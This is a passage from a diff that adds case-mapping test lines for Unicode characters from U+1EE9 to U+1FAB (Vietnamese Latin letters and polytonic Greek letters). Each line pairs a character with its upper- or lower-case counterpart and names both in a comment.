+test(0x1EE9, 0x1EE8); // LATIN SMALL LETTER U WITH HORN AND ACUTE, LATIN CAPITAL LETTER U WITH HORN AND ACUTE
+test(0x1EEA, 0x1EEB); // LATIN CAPITAL LETTER U WITH HORN AND GRAVE, LATIN SMALL LETTER U WITH HORN AND GRAVE
+test(0x1EEB, 0x1EEA); // LATIN SMALL LETTER U WITH HORN AND GRAVE, LATIN CAPITAL LETTER U WITH HORN AND GRAVE
+test(0x1EEC, 0x1EED); // LATIN CAPITAL LETTER U WITH HORN AND HOOK ABOVE, LATIN SMALL LETTER U WITH HORN AND HOOK ABOVE
+test(0x1EED, 0x1EEC); // LATIN SMALL LETTER U WITH HORN AND HOOK ABOVE, LATIN CAPITAL LETTER U WITH HORN AND HOOK ABOVE
+test(0x1EEE, 0x1EEF); // LATIN CAPITAL LETTER U WITH HORN AND TILDE, LATIN SMALL LETTER U WITH HORN AND TILDE
+test(0x1EEF, 0x1EEE); // LATIN SMALL LETTER U WITH HORN AND TILDE, LATIN CAPITAL LETTER U WITH HORN AND TILDE
+test(0x1EF0, 0x1EF1); // LATIN CAPITAL LETTER U WITH HORN AND DOT BELOW, LATIN SMALL LETTER U WITH HORN AND DOT BELOW
+test(0x1EF1, 0x1EF0); // LATIN SMALL LETTER U WITH HORN AND DOT BELOW, LATIN CAPITAL LETTER U WITH HORN AND DOT BELOW
+test(0x1EF2, 0x1EF3); // LATIN CAPITAL LETTER Y WITH GRAVE, LATIN SMALL LETTER Y WITH GRAVE
+test(0x1EF3, 0x1EF2); // LATIN SMALL LETTER Y WITH GRAVE, LATIN CAPITAL LETTER Y WITH GRAVE
+test(0x1EF4, 0x1EF5); // LATIN CAPITAL LETTER Y WITH DOT BELOW, LATIN SMALL LETTER Y WITH DOT BELOW
+test(0x1EF5, 0x1EF4); // LATIN SMALL LETTER Y WITH DOT BELOW, LATIN CAPITAL LETTER Y WITH DOT BELOW
+test(0x1EF6, 0x1EF7); // LATIN CAPITAL LETTER Y WITH HOOK ABOVE, LATIN SMALL LETTER Y WITH HOOK ABOVE
+test(0x1EF7, 0x1EF6); // LATIN SMALL LETTER Y WITH HOOK ABOVE, LATIN CAPITAL LETTER Y WITH HOOK ABOVE
+test(0x1EF8, 0x1EF9); // LATIN CAPITAL LETTER Y WITH TILDE, LATIN SMALL LETTER Y WITH TILDE
+test(0x1EF9, 0x1EF8); // LATIN SMALL LETTER Y WITH TILDE, LATIN CAPITAL LETTER Y WITH TILDE
+test(0x1EFA, 0x1EFB); // LATIN CAPITAL LETTER MIDDLE-WELSH LL, LATIN SMALL LETTER MIDDLE-WELSH LL
+test(0x1EFB, 0x1EFA); // LATIN SMALL LETTER MIDDLE-WELSH LL, LATIN CAPITAL LETTER MIDDLE-WELSH LL
+test(0x1EFC, 0x1EFD); // LATIN CAPITAL LETTER MIDDLE-WELSH V, LATIN SMALL LETTER MIDDLE-WELSH V
+test(0x1EFD, 0x1EFC); // LATIN SMALL LETTER MIDDLE-WELSH V, LATIN CAPITAL LETTER MIDDLE-WELSH V
+test(0x1EFE, 0x1EFF); // LATIN CAPITAL LETTER Y WITH LOOP, LATIN SMALL LETTER Y WITH LOOP
+test(0x1EFF, 0x1EFE); // LATIN SMALL LETTER Y WITH LOOP, LATIN CAPITAL LETTER Y WITH LOOP
+test(0x1F00, 0x1F08); // GREEK SMALL LETTER ALPHA WITH PSILI, GREEK CAPITAL LETTER ALPHA WITH PSILI
+test(0x1F01, 0x1F09); // GREEK SMALL LETTER ALPHA WITH DASIA, GREEK CAPITAL LETTER ALPHA WITH DASIA
+test(0x1F02, 0x1F0A); // GREEK SMALL LETTER ALPHA WITH PSILI AND VARIA, GREEK CAPITAL LETTER ALPHA WITH PSILI AND VARIA
+test(0x1F03, 0x1F0B); // GREEK SMALL LETTER ALPHA WITH DASIA AND VARIA, GREEK CAPITAL LETTER ALPHA WITH DASIA AND VARIA
+test(0x1F04, 0x1F0C); // GREEK SMALL LETTER ALPHA WITH PSILI AND OXIA, GREEK CAPITAL LETTER ALPHA WITH PSILI AND OXIA
+test(0x1F05, 0x1F0D); // GREEK SMALL LETTER ALPHA WITH DASIA AND OXIA, GREEK CAPITAL LETTER ALPHA WITH DASIA AND OXIA
+test(0x1F06, 0x1F0E); // GREEK SMALL LETTER ALPHA WITH PSILI AND PERISPOMENI, GREEK CAPITAL LETTER ALPHA WITH PSILI AND PERISPOMENI
+test(0x1F07, 0x1F0F); // GREEK SMALL LETTER ALPHA WITH DASIA AND PERISPOMENI, GREEK CAPITAL LETTER ALPHA WITH DASIA AND PERISPOMENI
+test(0x1F08, 0x1F00); // GREEK CAPITAL LETTER ALPHA WITH PSILI, GREEK SMALL LETTER ALPHA WITH PSILI
+test(0x1F09, 0x1F01); // GREEK CAPITAL LETTER ALPHA WITH DASIA, GREEK SMALL LETTER ALPHA WITH DASIA
+test(0x1F0A, 0x1F02); // GREEK CAPITAL LETTER ALPHA WITH PSILI AND VARIA, GREEK SMALL LETTER ALPHA WITH PSILI AND VARIA
+test(0x1F0B, 0x1F03); // GREEK CAPITAL LETTER ALPHA WITH DASIA AND VARIA, GREEK SMALL LETTER ALPHA WITH DASIA AND VARIA
+test(0x1F0C, 0x1F04); // GREEK CAPITAL LETTER ALPHA WITH PSILI AND OXIA, GREEK SMALL LETTER ALPHA WITH PSILI AND OXIA
+test(0x1F0D, 0x1F05); // GREEK CAPITAL LETTER ALPHA WITH DASIA AND OXIA, GREEK SMALL LETTER ALPHA WITH DASIA AND OXIA
+test(0x1F0E, 0x1F06); // GREEK CAPITAL LETTER ALPHA WITH PSILI AND PERISPOMENI, GREEK SMALL LETTER ALPHA WITH PSILI AND PERISPOMENI
+test(0x1F0F, 0x1F07); // GREEK CAPITAL LETTER ALPHA WITH DASIA AND PERISPOMENI, GREEK SMALL LETTER ALPHA WITH DASIA AND PERISPOMENI
+test(0x1F10, 0x1F18); // GREEK SMALL LETTER EPSILON WITH PSILI, GREEK CAPITAL LETTER EPSILON WITH PSILI
+test(0x1F11, 0x1F19); // GREEK SMALL LETTER EPSILON WITH DASIA, GREEK CAPITAL LETTER EPSILON WITH DASIA
+test(0x1F12, 0x1F1A); // GREEK SMALL LETTER EPSILON WITH PSILI AND VARIA, GREEK CAPITAL LETTER EPSILON WITH PSILI AND VARIA
+test(0x1F13, 0x1F1B); // GREEK SMALL LETTER EPSILON WITH DASIA AND VARIA, GREEK CAPITAL LETTER EPSILON WITH DASIA AND VARIA
+test(0x1F14, 0x1F1C); // GREEK SMALL LETTER EPSILON WITH PSILI AND OXIA, GREEK CAPITAL LETTER EPSILON WITH PSILI AND OXIA
+test(0x1F15, 0x1F1D); // GREEK SMALL LETTER EPSILON WITH DASIA AND OXIA, GREEK CAPITAL LETTER EPSILON WITH DASIA AND OXIA
+test(0x1F18, 0x1F10); // GREEK CAPITAL LETTER EPSILON WITH PSILI, GREEK SMALL LETTER EPSILON WITH PSILI
+test(0x1F19, 0x1F11); // GREEK CAPITAL LETTER EPSILON WITH DASIA, GREEK SMALL LETTER EPSILON WITH DASIA
+test(0x1F1A, 0x1F12); // GREEK CAPITAL LETTER EPSILON WITH PSILI AND VARIA, GREEK SMALL LETTER EPSILON WITH PSILI AND VARIA
+test(0x1F1B, 0x1F13); // GREEK CAPITAL LETTER EPSILON WITH DASIA AND VARIA, GREEK SMALL LETTER EPSILON WITH DASIA AND VARIA
+test(0x1F1C, 0x1F14); // GREEK CAPITAL LETTER EPSILON WITH PSILI AND OXIA, GREEK SMALL LETTER EPSILON WITH PSILI AND OXIA
+test(0x1F1D, 0x1F15); // GREEK CAPITAL LETTER EPSILON WITH DASIA AND OXIA, GREEK SMALL LETTER EPSILON WITH DASIA AND OXIA
+test(0x1F20, 0x1F28); // GREEK SMALL LETTER ETA WITH PSILI, GREEK CAPITAL LETTER ETA WITH PSILI
+test(0x1F21, 0x1F29); // GREEK SMALL LETTER ETA WITH DASIA, GREEK CAPITAL LETTER ETA WITH DASIA
+test(0x1F22, 0x1F2A); // GREEK SMALL LETTER ETA WITH PSILI AND VARIA, GREEK CAPITAL LETTER ETA WITH PSILI AND VARIA
+test(0x1F23, 0x1F2B); // GREEK SMALL LETTER ETA WITH DASIA AND VARIA, GREEK CAPITAL LETTER ETA WITH DASIA AND VARIA
+test(0x1F24, 0x1F2C); // GREEK SMALL LETTER ETA WITH PSILI AND OXIA, GREEK CAPITAL LETTER ETA WITH PSILI AND OXIA
+test(0x1F25, 0x1F2D); // GREEK SMALL LETTER ETA WITH DASIA AND OXIA, GREEK CAPITAL LETTER ETA WITH DASIA AND OXIA
+test(0x1F26, 0x1F2E); // GREEK SMALL LETTER ETA WITH PSILI AND PERISPOMENI, GREEK CAPITAL LETTER ETA WITH PSILI AND PERISPOMENI
+test(0x1F27, 0x1F2F); // GREEK SMALL LETTER ETA WITH DASIA AND PERISPOMENI, GREEK CAPITAL LETTER ETA WITH DASIA AND PERISPOMENI
+test(0x1F28, 0x1F20); // GREEK CAPITAL LETTER ETA WITH PSILI, GREEK SMALL LETTER ETA WITH PSILI
+test(0x1F29, 0x1F21); // GREEK CAPITAL LETTER ETA WITH DASIA, GREEK SMALL LETTER ETA WITH DASIA
+test(0x1F2A, 0x1F22); // GREEK CAPITAL LETTER ETA WITH PSILI AND VARIA, GREEK SMALL LETTER ETA WITH PSILI AND VARIA
+test(0x1F2B, 0x1F23); // GREEK CAPITAL LETTER ETA WITH DASIA AND VARIA, GREEK SMALL LETTER ETA WITH DASIA AND VARIA
+test(0x1F2C, 0x1F24); // GREEK CAPITAL LETTER ETA WITH PSILI AND OXIA, GREEK SMALL LETTER ETA WITH PSILI AND OXIA
+test(0x1F2D, 0x1F25); // GREEK CAPITAL LETTER ETA WITH DASIA AND OXIA, GREEK SMALL LETTER ETA WITH DASIA AND OXIA
+test(0x1F2E, 0x1F26); // GREEK CAPITAL LETTER ETA WITH PSILI AND PERISPOMENI, GREEK SMALL LETTER ETA WITH PSILI AND PERISPOMENI
+test(0x1F2F, 0x1F27); // GREEK CAPITAL LETTER ETA WITH DASIA AND PERISPOMENI, GREEK SMALL LETTER ETA WITH DASIA AND PERISPOMENI
+test(0x1F30, 0x1F38); // GREEK SMALL LETTER IOTA WITH PSILI, GREEK CAPITAL LETTER IOTA WITH PSILI
+test(0x1F31, 0x1F39); // GREEK SMALL LETTER IOTA WITH DASIA, GREEK CAPITAL LETTER IOTA WITH DASIA
+test(0x1F32, 0x1F3A); // GREEK SMALL LETTER IOTA WITH PSILI AND VARIA, GREEK CAPITAL LETTER IOTA WITH PSILI AND VARIA
+test(0x1F33, 0x1F3B); // GREEK SMALL LETTER IOTA WITH DASIA AND VARIA, GREEK CAPITAL LETTER IOTA WITH DASIA AND VARIA
+test(0x1F34, 0x1F3C); // GREEK SMALL LETTER IOTA WITH PSILI AND OXIA, GREEK CAPITAL LETTER IOTA WITH PSILI AND OXIA
+test(0x1F35, 0x1F3D); // GREEK SMALL LETTER IOTA WITH DASIA AND OXIA, GREEK CAPITAL LETTER IOTA WITH DASIA AND OXIA
+test(0x1F36, 0x1F3E); // GREEK SMALL LETTER IOTA WITH PSILI AND PERISPOMENI, GREEK CAPITAL LETTER IOTA WITH PSILI AND PERISPOMENI
+test(0x1F37, 0x1F3F); // GREEK SMALL LETTER IOTA WITH DASIA AND PERISPOMENI, GREEK CAPITAL LETTER IOTA WITH DASIA AND PERISPOMENI
+test(0x1F38, 0x1F30); // GREEK CAPITAL LETTER IOTA WITH PSILI, GREEK SMALL LETTER IOTA WITH PSILI
+test(0x1F39, 0x1F31); // GREEK CAPITAL LETTER IOTA WITH DASIA, GREEK SMALL LETTER IOTA WITH DASIA
+test(0x1F3A, 0x1F32); // GREEK CAPITAL LETTER IOTA WITH PSILI AND VARIA, GREEK SMALL LETTER IOTA WITH PSILI AND VARIA
+test(0x1F3B, 0x1F33); // GREEK CAPITAL LETTER IOTA WITH DASIA AND VARIA, GREEK SMALL LETTER IOTA WITH DASIA AND VARIA
+test(0x1F3C, 0x1F34); // GREEK CAPITAL LETTER IOTA WITH PSILI AND OXIA, GREEK SMALL LETTER IOTA WITH PSILI AND OXIA
+test(0x1F3D, 0x1F35); // GREEK CAPITAL LETTER IOTA WITH DASIA AND OXIA, GREEK SMALL LETTER IOTA WITH DASIA AND OXIA
+test(0x1F3E, 0x1F36); // GREEK CAPITAL LETTER IOTA WITH PSILI AND PERISPOMENI, GREEK SMALL LETTER IOTA WITH PSILI AND PERISPOMENI
+test(0x1F3F, 0x1F37); // GREEK CAPITAL LETTER IOTA WITH DASIA AND PERISPOMENI, GREEK SMALL LETTER IOTA WITH DASIA AND PERISPOMENI
+test(0x1F40, 0x1F48); // GREEK SMALL LETTER OMICRON WITH PSILI, GREEK CAPITAL LETTER OMICRON WITH PSILI
+test(0x1F41, 0x1F49); // GREEK SMALL LETTER OMICRON WITH DASIA, GREEK CAPITAL LETTER OMICRON WITH DASIA
+test(0x1F42, 0x1F4A); // GREEK SMALL LETTER OMICRON WITH PSILI AND VARIA, GREEK CAPITAL LETTER OMICRON WITH PSILI AND VARIA
+test(0x1F43, 0x1F4B); // GREEK SMALL LETTER OMICRON WITH DASIA AND VARIA, GREEK CAPITAL LETTER OMICRON WITH DASIA AND VARIA
+test(0x1F44, 0x1F4C); // GREEK SMALL LETTER OMICRON WITH PSILI AND OXIA, GREEK CAPITAL LETTER OMICRON WITH PSILI AND OXIA
+test(0x1F45, 0x1F4D); // GREEK SMALL LETTER OMICRON WITH DASIA AND OXIA, GREEK CAPITAL LETTER OMICRON WITH DASIA AND OXIA
+test(0x1F48, 0x1F40); // GREEK CAPITAL LETTER OMICRON WITH PSILI, GREEK SMALL LETTER OMICRON WITH PSILI
+test(0x1F49, 0x1F41); // GREEK CAPITAL LETTER OMICRON WITH DASIA, GREEK SMALL LETTER OMICRON WITH DASIA
+test(0x1F4A, 0x1F42); // GREEK CAPITAL LETTER OMICRON WITH PSILI AND VARIA, GREEK SMALL LETTER OMICRON WITH PSILI AND VARIA
+test(0x1F4B, 0x1F43); // GREEK CAPITAL LETTER OMICRON WITH DASIA AND VARIA, GREEK SMALL LETTER OMICRON WITH DASIA AND VARIA
+test(0x1F4C, 0x1F44); // GREEK CAPITAL LETTER OMICRON WITH PSILI AND OXIA, GREEK SMALL LETTER OMICRON WITH PSILI AND OXIA
+test(0x1F4D, 0x1F45); // GREEK CAPITAL LETTER OMICRON WITH DASIA AND OXIA, GREEK SMALL LETTER OMICRON WITH DASIA AND OXIA
+test(0x1F51, 0x1F59); // GREEK SMALL LETTER UPSILON WITH DASIA, GREEK CAPITAL LETTER UPSILON WITH DASIA
+test(0x1F53, 0x1F5B); // GREEK SMALL LETTER UPSILON WITH DASIA AND VARIA, GREEK CAPITAL LETTER UPSILON WITH DASIA AND VARIA
+test(0x1F55, 0x1F5D); // GREEK SMALL LETTER UPSILON WITH DASIA AND OXIA, GREEK CAPITAL LETTER UPSILON WITH DASIA AND OXIA
+test(0x1F57, 0x1F5F); // GREEK SMALL LETTER UPSILON WITH DASIA AND PERISPOMENI, GREEK CAPITAL LETTER UPSILON WITH DASIA AND PERISPOMENI
+test(0x1F59, 0x1F51); // GREEK CAPITAL LETTER UPSILON WITH DASIA, GREEK SMALL LETTER UPSILON WITH DASIA
+test(0x1F5B, 0x1F53); // GREEK CAPITAL LETTER UPSILON WITH DASIA AND VARIA, GREEK SMALL LETTER UPSILON WITH DASIA AND VARIA
+test(0x1F5D, 0x1F55); // GREEK CAPITAL LETTER UPSILON WITH DASIA AND OXIA, GREEK SMALL LETTER UPSILON WITH DASIA AND OXIA
+test(0x1F5F, 0x1F57); // GREEK CAPITAL LETTER UPSILON WITH DASIA AND PERISPOMENI, GREEK SMALL LETTER UPSILON WITH DASIA AND PERISPOMENI
+test(0x1F60, 0x1F68); // GREEK SMALL LETTER OMEGA WITH PSILI, GREEK CAPITAL LETTER OMEGA WITH PSILI
+test(0x1F61, 0x1F69); // GREEK SMALL LETTER OMEGA WITH DASIA, GREEK CAPITAL LETTER OMEGA WITH DASIA
+test(0x1F62, 0x1F6A); // GREEK SMALL LETTER OMEGA WITH PSILI AND VARIA, GREEK CAPITAL LETTER OMEGA WITH PSILI AND VARIA
+test(0x1F63, 0x1F6B); // GREEK SMALL LETTER OMEGA WITH DASIA AND VARIA, GREEK CAPITAL LETTER OMEGA WITH DASIA AND VARIA
+test(0x1F64, 0x1F6C); // GREEK SMALL LETTER OMEGA WITH PSILI AND OXIA, GREEK CAPITAL LETTER OMEGA WITH PSILI AND OXIA
+test(0x1F65, 0x1F6D); // GREEK SMALL LETTER OMEGA WITH DASIA AND OXIA, GREEK CAPITAL LETTER OMEGA WITH DASIA AND OXIA
+test(0x1F66, 0x1F6E); // GREEK SMALL LETTER OMEGA WITH PSILI AND PERISPOMENI, GREEK CAPITAL LETTER OMEGA WITH PSILI AND PERISPOMENI
+test(0x1F67, 0x1F6F); // GREEK SMALL LETTER OMEGA WITH DASIA AND PERISPOMENI, GREEK CAPITAL LETTER OMEGA WITH DASIA AND PERISPOMENI
+test(0x1F68, 0x1F60); // GREEK CAPITAL LETTER OMEGA WITH PSILI, GREEK SMALL LETTER OMEGA WITH PSILI
+test(0x1F69, 0x1F61); // GREEK CAPITAL LETTER OMEGA WITH DASIA, GREEK SMALL LETTER OMEGA WITH DASIA
+test(0x1F6A, 0x1F62); // GREEK CAPITAL LETTER OMEGA WITH PSILI AND VARIA, GREEK SMALL LETTER OMEGA WITH PSILI AND VARIA
+test(0x1F6B, 0x1F63); // GREEK CAPITAL LETTER OMEGA WITH DASIA AND VARIA, GREEK SMALL LETTER OMEGA WITH DASIA AND VARIA
+test(0x1F6C, 0x1F64); // GREEK CAPITAL LETTER OMEGA WITH PSILI AND OXIA, GREEK SMALL LETTER OMEGA WITH PSILI AND OXIA
+test(0x1F6D, 0x1F65); // GREEK CAPITAL LETTER OMEGA WITH DASIA AND OXIA, GREEK SMALL LETTER OMEGA WITH DASIA AND OXIA
+test(0x1F6E, 0x1F66); // GREEK CAPITAL LETTER OMEGA WITH PSILI AND PERISPOMENI, GREEK SMALL LETTER OMEGA WITH PSILI AND PERISPOMENI
+test(0x1F6F, 0x1F67); // GREEK CAPITAL LETTER OMEGA WITH DASIA AND PERISPOMENI, GREEK SMALL LETTER OMEGA WITH DASIA AND PERISPOMENI
+test(0x1F70, 0x1FBA); // GREEK SMALL LETTER ALPHA WITH VARIA, GREEK CAPITAL LETTER ALPHA WITH VARIA
+test(0x1F71, 0x1FBB); // GREEK SMALL LETTER ALPHA WITH OXIA, GREEK CAPITAL LETTER ALPHA WITH OXIA
+test(0x1F72, 0x1FC8); // GREEK SMALL LETTER EPSILON WITH VARIA, GREEK CAPITAL LETTER EPSILON WITH VARIA
+test(0x1F73, 0x1FC9); // GREEK SMALL LETTER EPSILON WITH OXIA, GREEK CAPITAL LETTER EPSILON WITH OXIA
+test(0x1F74, 0x1FCA); // GREEK SMALL LETTER ETA WITH VARIA, GREEK CAPITAL LETTER ETA WITH VARIA
+test(0x1F75, 0x1FCB); // GREEK SMALL LETTER ETA WITH OXIA, GREEK CAPITAL LETTER ETA WITH OXIA
+test(0x1F76, 0x1FDA); // GREEK SMALL LETTER IOTA WITH VARIA, GREEK CAPITAL LETTER IOTA WITH VARIA
+test(0x1F77, 0x1FDB); // GREEK SMALL LETTER IOTA WITH OXIA, GREEK CAPITAL LETTER IOTA WITH OXIA
+test(0x1F78, 0x1FF8); // GREEK SMALL LETTER OMICRON WITH VARIA, GREEK CAPITAL LETTER OMICRON WITH VARIA
+test(0x1F79, 0x1FF9); // GREEK SMALL LETTER OMICRON WITH OXIA, GREEK CAPITAL LETTER OMICRON WITH OXIA
+test(0x1F7A, 0x1FEA); // GREEK SMALL LETTER UPSILON WITH VARIA, GREEK CAPITAL LETTER UPSILON WITH VARIA
+test(0x1F7B, 0x1FEB); // GREEK SMALL LETTER UPSILON WITH OXIA, GREEK CAPITAL LETTER UPSILON WITH OXIA
+test(0x1F7C, 0x1FFA); // GREEK SMALL LETTER OMEGA WITH VARIA, GREEK CAPITAL LETTER OMEGA WITH VARIA
+test(0x1F7D, 0x1FFB); // GREEK SMALL LETTER OMEGA WITH OXIA, GREEK CAPITAL LETTER OMEGA WITH OXIA
+test(0x1F80, 0x1F88); // GREEK SMALL LETTER ALPHA WITH PSILI AND YPOGEGRAMMENI, GREEK CAPITAL LETTER ALPHA WITH PSILI AND PROSGEGRAMMENI
+test(0x1F81, 0x1F89); // GREEK SMALL LETTER ALPHA WITH DASIA AND YPOGEGRAMMENI, GREEK CAPITAL LETTER ALPHA WITH DASIA AND PROSGEGRAMMENI
+test(0x1F82, 0x1F8A); // GREEK SMALL LETTER ALPHA WITH PSILI AND VARIA AND YPOGEGRAMMENI, GREEK CAPITAL LETTER ALPHA WITH PSILI AND VARIA AND PROSGEGRAMMENI
+test(0x1F83, 0x1F8B); // GREEK SMALL LETTER ALPHA WITH DASIA AND VARIA AND YPOGEGRAMMENI, GREEK CAPITAL LETTER ALPHA WITH DASIA AND VARIA AND PROSGEGRAMMENI
+test(0x1F84, 0x1F8C); // GREEK SMALL LETTER ALPHA WITH PSILI AND OXIA AND YPOGEGRAMMENI, GREEK CAPITAL LETTER ALPHA WITH PSILI AND OXIA AND PROSGEGRAMMENI
+test(0x1F85, 0x1F8D); // GREEK SMALL LETTER ALPHA WITH DASIA AND OXIA AND YPOGEGRAMMENI, GREEK CAPITAL LETTER ALPHA WITH DASIA AND OXIA AND PROSGEGRAMMENI
+test(0x1F86, 0x1F8E); // GREEK SMALL LETTER ALPHA WITH PSILI AND PERISPOMENI AND YPOGEGRAMMENI, GREEK CAPITAL LETTER ALPHA WITH PSILI AND PERISPOMENI AND PROSGEGRAMMENI
+test(0x1F87, 0x1F8F); // GREEK SMALL LETTER ALPHA WITH DASIA AND PERISPOMENI AND YPOGEGRAMMENI, GREEK CAPITAL LETTER ALPHA WITH DASIA AND PERISPOMENI AND PROSGEGRAMMENI
+test(0x1F88, 0x1F80); // GREEK CAPITAL LETTER ALPHA WITH PSILI AND PROSGEGRAMMENI, GREEK SMALL LETTER ALPHA WITH PSILI AND YPOGEGRAMMENI
+test(0x1F89, 0x1F81); // GREEK CAPITAL LETTER ALPHA WITH DASIA AND PROSGEGRAMMENI, GREEK SMALL LETTER ALPHA WITH DASIA AND YPOGEGRAMMENI
+test(0x1F8A, 0x1F82); // GREEK CAPITAL LETTER ALPHA WITH PSILI AND VARIA AND PROSGEGRAMMENI, GREEK SMALL LETTER ALPHA WITH PSILI AND VARIA AND YPOGEGRAMMENI
+test(0x1F8B, 0x1F83); // GREEK CAPITAL LETTER ALPHA WITH DASIA AND VARIA AND PROSGEGRAMMENI, GREEK SMALL LETTER ALPHA WITH DASIA AND VARIA AND YPOGEGRAMMENI
+test(0x1F8C, 0x1F84); // GREEK CAPITAL LETTER ALPHA WITH PSILI AND OXIA AND PROSGEGRAMMENI, GREEK SMALL LETTER ALPHA WITH PSILI AND OXIA AND YPOGEGRAMMENI
+test(0x1F8D, 0x1F85); // GREEK CAPITAL LETTER ALPHA WITH DASIA AND OXIA AND PROSGEGRAMMENI, GREEK SMALL LETTER ALPHA WITH DASIA AND OXIA AND YPOGEGRAMMENI
+test(0x1F8E, 0x1F86); // GREEK CAPITAL LETTER ALPHA WITH PSILI AND PERISPOMENI AND PROSGEGRAMMENI, GREEK SMALL LETTER ALPHA WITH PSILI AND PERISPOMENI AND YPOGEGRAMMENI
+test(0x1F8F, 0x1F87); // GREEK CAPITAL LETTER ALPHA WITH DASIA AND PERISPOMENI AND PROSGEGRAMMENI, GREEK SMALL LETTER ALPHA WITH DASIA AND PERISPOMENI AND YPOGEGRAMMENI
+test(0x1F90, 0x1F98); // GREEK SMALL LETTER ETA WITH PSILI AND YPOGEGRAMMENI, GREEK CAPITAL LETTER ETA WITH PSILI AND PROSGEGRAMMENI
+test(0x1F91, 0x1F99); // GREEK SMALL LETTER ETA WITH DASIA AND YPOGEGRAMMENI, GREEK CAPITAL LETTER ETA WITH DASIA AND PROSGEGRAMMENI
+test(0x1F92, 0x1F9A); // GREEK SMALL LETTER ETA WITH PSILI AND VARIA AND YPOGEGRAMMENI, GREEK CAPITAL LETTER ETA WITH PSILI AND VARIA AND PROSGEGRAMMENI
+test(0x1F93, 0x1F9B); // GREEK SMALL LETTER ETA WITH DASIA AND VARIA AND YPOGEGRAMMENI, GREEK CAPITAL LETTER ETA WITH DASIA AND VARIA AND PROSGEGRAMMENI
+test(0x1F94, 0x1F9C); // GREEK SMALL LETTER ETA WITH PSILI AND OXIA AND YPOGEGRAMMENI, GREEK CAPITAL LETTER ETA WITH PSILI AND OXIA AND PROSGEGRAMMENI
+test(0x1F95, 0x1F9D); // GREEK SMALL LETTER ETA WITH DASIA AND OXIA AND YPOGEGRAMMENI, GREEK CAPITAL LETTER ETA WITH DASIA AND OXIA AND PROSGEGRAMMENI
+test(0x1F96, 0x1F9E); // GREEK SMALL LETTER ETA WITH PSILI AND PERISPOMENI AND YPOGEGRAMMENI, GREEK CAPITAL LETTER ETA WITH PSILI AND PERISPOMENI AND PROSGEGRAMMENI
+test(0x1F97, 0x1F9F); // GREEK SMALL LETTER ETA WITH DASIA AND PERISPOMENI AND YPOGEGRAMMENI, GREEK CAPITAL LETTER ETA WITH DASIA AND PERISPOMENI AND PROSGEGRAMMENI
+test(0x1F98, 0x1F90); // GREEK CAPITAL LETTER ETA WITH PSILI AND PROSGEGRAMMENI, GREEK SMALL LETTER ETA WITH PSILI AND YPOGEGRAMMENI
+test(0x1F99, 0x1F91); // GREEK CAPITAL LETTER ETA WITH DASIA AND PROSGEGRAMMENI, GREEK SMALL LETTER ETA WITH DASIA AND YPOGEGRAMMENI
+test(0x1F9A, 0x1F92); // GREEK CAPITAL LETTER ETA WITH PSILI AND VARIA AND PROSGEGRAMMENI, GREEK SMALL LETTER ETA WITH PSILI AND VARIA AND YPOGEGRAMMENI
+test(0x1F9B, 0x1F93); // GREEK CAPITAL LETTER ETA WITH DASIA AND VARIA AND PROSGEGRAMMENI, GREEK SMALL LETTER ETA WITH DASIA AND VARIA AND YPOGEGRAMMENI
+test(0x1F9C, 0x1F94); // GREEK CAPITAL LETTER ETA WITH PSILI AND OXIA AND PROSGEGRAMMENI, GREEK SMALL LETTER ETA WITH PSILI AND OXIA AND YPOGEGRAMMENI
+test(0x1F9D, 0x1F95); // GREEK CAPITAL LETTER ETA WITH DASIA AND OXIA AND PROSGEGRAMMENI, GREEK SMALL LETTER ETA WITH DASIA AND OXIA AND YPOGEGRAMMENI
+test(0x1F9E, 0x1F96); // GREEK CAPITAL LETTER ETA WITH PSILI AND PERISPOMENI AND PROSGEGRAMMENI, GREEK SMALL LETTER ETA WITH PSILI AND PERISPOMENI AND YPOGEGRAMMENI
+test(0x1F9F, 0x1F97); // GREEK CAPITAL LETTER ETA WITH DASIA AND PERISPOMENI AND PROSGEGRAMMENI, GREEK SMALL LETTER ETA WITH DASIA AND PERISPOMENI AND YPOGEGRAMMENI
+test(0x1FA0, 0x1FA8); // GREEK SMALL LETTER OMEGA WITH PSILI AND YPOGEGRAMMENI, GREEK CAPITAL LETTER OMEGA WITH PSILI AND PROSGEGRAMMENI
+test(0x1FA1, 0x1FA9); // GREEK SMALL LETTER OMEGA WITH DASIA AND YPOGEGRAMMENI, GREEK CAPITAL LETTER OMEGA WITH DASIA AND PROSGEGRAMMENI
+test(0x1FA2, 0x1FAA); // GREEK SMALL LETTER OMEGA WITH PSILI AND VARIA AND YPOGEGRAMMENI, GREEK CAPITAL LETTER OMEGA WITH PSILI AND VARIA AND PROSGEGRAMMENI
+test(0x1FA3, 0x1FAB); // GREEK SMALL LETTER OMEGA WITH DASIA AND VARIA AND YPOGEGRAMMENI, GREEK CAPITAL LETTER OMEGA WITH DASIA AND VARIA AND PROSGEGRAMMENI
+test(0x1FA4, 0x1FAC); // GREEK SMALL LETTER OMEGA WITH PSILI AND OXIA AND YPOGEGRAMMENI, GREEK CAPITAL LETTER OMEGA WITH PSILI AND OXIA AND PROSGEGRAMMENI
+test(0x1FA5, 0x1FAD); // GREEK SMALL LETTER OMEGA WITH DASIA AND OXIA AND YPOGEGRAMMENI, GREEK CAPITAL LETTER OMEGA WITH DASIA AND OXIA AND PROSGEGRAMMENI
+test(0x1FA6, 0x1FAE); // GREEK SMALL LETTER OMEGA WITH PSILI AND PERISPOMENI AND YPOGEGRAMMENI, GREEK CAPITAL LETTER OMEGA WITH PSILI AND PERISPOMENI AND PROSGEGRAMMENI
+test(0x1FA7, 0x1FAF); // GREEK SMALL LETTER OMEGA WITH DASIA AND PERISPOMENI AND YPOGEGRAMMENI, GREEK CAPITAL LETTER OMEGA WITH DASIA AND PERISPOMENI AND PROSGEGRAMMENI
+test(0x1FA8, 0x1FA0); // GREEK CAPITAL LETTER OMEGA WITH PSILI AND PROSGEGRAMMENI, GREEK SMALL LETTER OMEGA WITH PSILI AND YPOGEGRAMMENI
+test(0x1FA9, 0x1FA1); // GREEK CAPITAL LETTER OMEGA WITH DASIA AND PROSGEGRAMMENI, GREEK SMALL LETTER OMEGA WITH DASIA AND YPOGEGRAMMENI
+test(0x1FAA, 0x1FA2); // GREEK CAPITAL LETTER OMEGA WITH PSILI AND VARIA AND PROSGEGRAMMENI, GREEK SMALL LETTER OMEGA WITH PSILI AND VARIA AND YPOGEGRAMMENI
+test(0x1FAB, 0x1FA3); // GREEK CAPITAL LETTER OMEGA WITH DASIA AND VARIA AND PROSGEGRAMMENI, GREEK SMALL LETTER OMEGA WITH DASIA AND VARIA AND YPOGEGRAMMENI
